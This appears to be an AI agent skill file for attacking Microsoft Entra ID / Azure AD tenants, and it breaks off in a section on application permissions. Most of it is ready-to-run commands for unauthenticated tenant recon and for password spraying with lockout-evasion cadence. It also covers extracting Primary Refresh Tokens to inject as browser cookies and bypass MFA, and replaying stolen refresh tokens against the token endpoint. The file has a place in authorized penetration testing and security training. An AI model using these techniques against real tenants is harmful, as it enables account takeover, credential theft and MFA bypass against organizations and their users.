/attacking-entra-id

name: attacking-entra-id
description: Attack and enumerate Azure AD / Entra ID tenants — initial recon with AADInternals and ROADtools, password spraying, token theft (PRT, CAE, refresh tokens), application and service principal abuse, Conditional Access bypass, cross-tenant pivoting, hybrid identity attacks (PTA agent, Azure AD Connect), and managed identity abuse. Use when pentesting Entra ID tenants, assessing Azure AD security posture, or exploiting cloud identity misconfigurations.
verified: 2026-07-27

Attacking Entra ID

Entra ID (formerly Azure AD) is the identity control plane for Microsoft 365, Azure, and thousands of SaaS integrations. Compromising it grants access to everything those identities protect: mailboxes, SharePoint, Azure subscriptions, and any application that trusts the tenant. Despite this, Entra ID environments are routinely less monitored than on-premises Active Directory. Most organizations lack equivalent detection coverage for cloud identity attacks, and the attack surface -- OAuth tokens, application consent, service principals, Conditional Access gaps -- is fundamentally different from traditional AD.

Only against tenants you are authorized to test.

When to Use

• Entra ID tenant reconnaissance and enumeration
• Password spraying against Microsoft 365 / Azure AD endpoints
• Stealing or replaying OAuth tokens, refresh tokens, and PRTs
• Abusing application registrations, service principals, and consent grants
• Bypassing Conditional Access policies
• Hybrid identity attacks (Azure AD Connect, PTA agents)

When NOT to Use

• **On-premises Active Directory attacks** (Kerberoasting, DCSync, lateral

movement) -- use `attacking-active-directory`

• **General AWS/Azure/GCP infrastructure** (VMs, storage, IAM roles) -- use

`exploiting-cloud-platforms`

• **AD CS certificate abuse** -- use `abusing-adcs`
• **Detecting these attacks defensively** -- use `engineering-detections`

Initial Reconnaissance

Tenant discovery requires no credentials. Start here to confirm the target tenant exists, identify federation configuration, and map the attack surface.

# AADInternals -- tenant recon
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com

# Get tenant ID from OpenID configuration
curl https://login.microsoftonline.com/target.com/.well-known/openid-configuration

# Check user realm (managed vs. federated)
curl "https://login.microsoftonline.com/common/userrealm/user@target.com?api-version=2.0"

# ROADtools -- authenticated enumeration (once you have creds)
roadrecon auth -u user@target.com -p 'Password'
roadrecon gather
roadrecon gui
# Browse the GUI: users, groups, applications, service principals, conditional access

# AzureHound -- BloodHound collection for Azure/Entra
azurehound -u user@target.com -p 'Password' list --tenant target.com -o output.json

ROADtools GUI is the single most useful view of a tenant. Run `roadrecon gather` immediately after obtaining any valid credential.

Password Spraying

Microsoft rate-limits and logs sprays, so cadence matters. One password per user per 30-60 minutes avoids smart lockout in most configurations.

# MSOLSpray -- targets the Microsoft Online login endpoint
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!' -URL https://login.microsoft.com

# o365spray -- enumerate then spray
o365spray --validate --domain target.com
o365spray --enum -U users.txt --domain target.com
o365spray --spray -U valid_users.txt -P passwords.txt --domain target.com --rate 1 --safe 30

# TREVORspray -- distributed spraying via SOCKS proxies
trevorspray -u users.txt -p 'Summer2026!' --delay 1800

Lockout-safe cadence:

• One attempt per user per 30 minutes minimum
• Rotate passwords, not users
• Avoid the user's previous password (it triggers a different log event)
• Monitor for `AADSTS50053` (locked) and `AADSTS50126` (invalid password) to

distinguish lockout from failure

Token Theft and Replay

Entra ID authentication produces several token types. Each has different lifetimes, scopes, and replay conditions.

Primary Refresh Token (PRT)

The PRT is a long-lived credential cached on Azure AD joined or registered devices. It grants SSO to all Microsoft cloud services.

# Extract PRT using ROADtoken (requires SYSTEM or user session)
ROADtoken.exe

# RequestAADRefreshToken -- request a refresh token using the PRT
RequestAADRefreshToken.exe

# AADInternals -- export PRT from a joined device
$prt = Get-AADIntUserPRTToken
# Use it in a browser by injecting the x-ms-RefreshTokenCredential cookie

A stolen PRT bypasses MFA if MFA was satisfied when the PRT was issued, because the PRT carries the MFA claim.

Refresh Token Replay

# Exchange a refresh token for an access token
curl -X POST https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token \
  -d "client_id=CLIENT_ID&grant_type=refresh_token&refresh_token=STOLEN_RT&scope=https://graph.microsoft.com/.default"

# ROADtools -- authenticate with a refresh token
roadrecon auth --refresh-token 'eyJ0...'
roadrecon gather

Continuous Access Evaluation (CAE) Gaps

CAE-aware tokens are checked against revocation in near real-time, but not all applications support CAE. Token lifetime for non-CAE resources remains up to 1 hour. Critical event evaluation (user disabled, password change) propagates within minutes, but IP-based evaluation covers only supported workloads. Check whether the target application enforces CAE before assuming token revocation is instantaneous.

Application and Service Principal Abuse

Applications and service principals are the most under-reviewed attack surface in Entra ID. They persist through user offboarding, hold credentials that nobody rotates, and often have excessive API permissions.

Dangerous Application Permissions

Application (not delegated) permissions that grant tenant-wide access without user consent:

• `Mai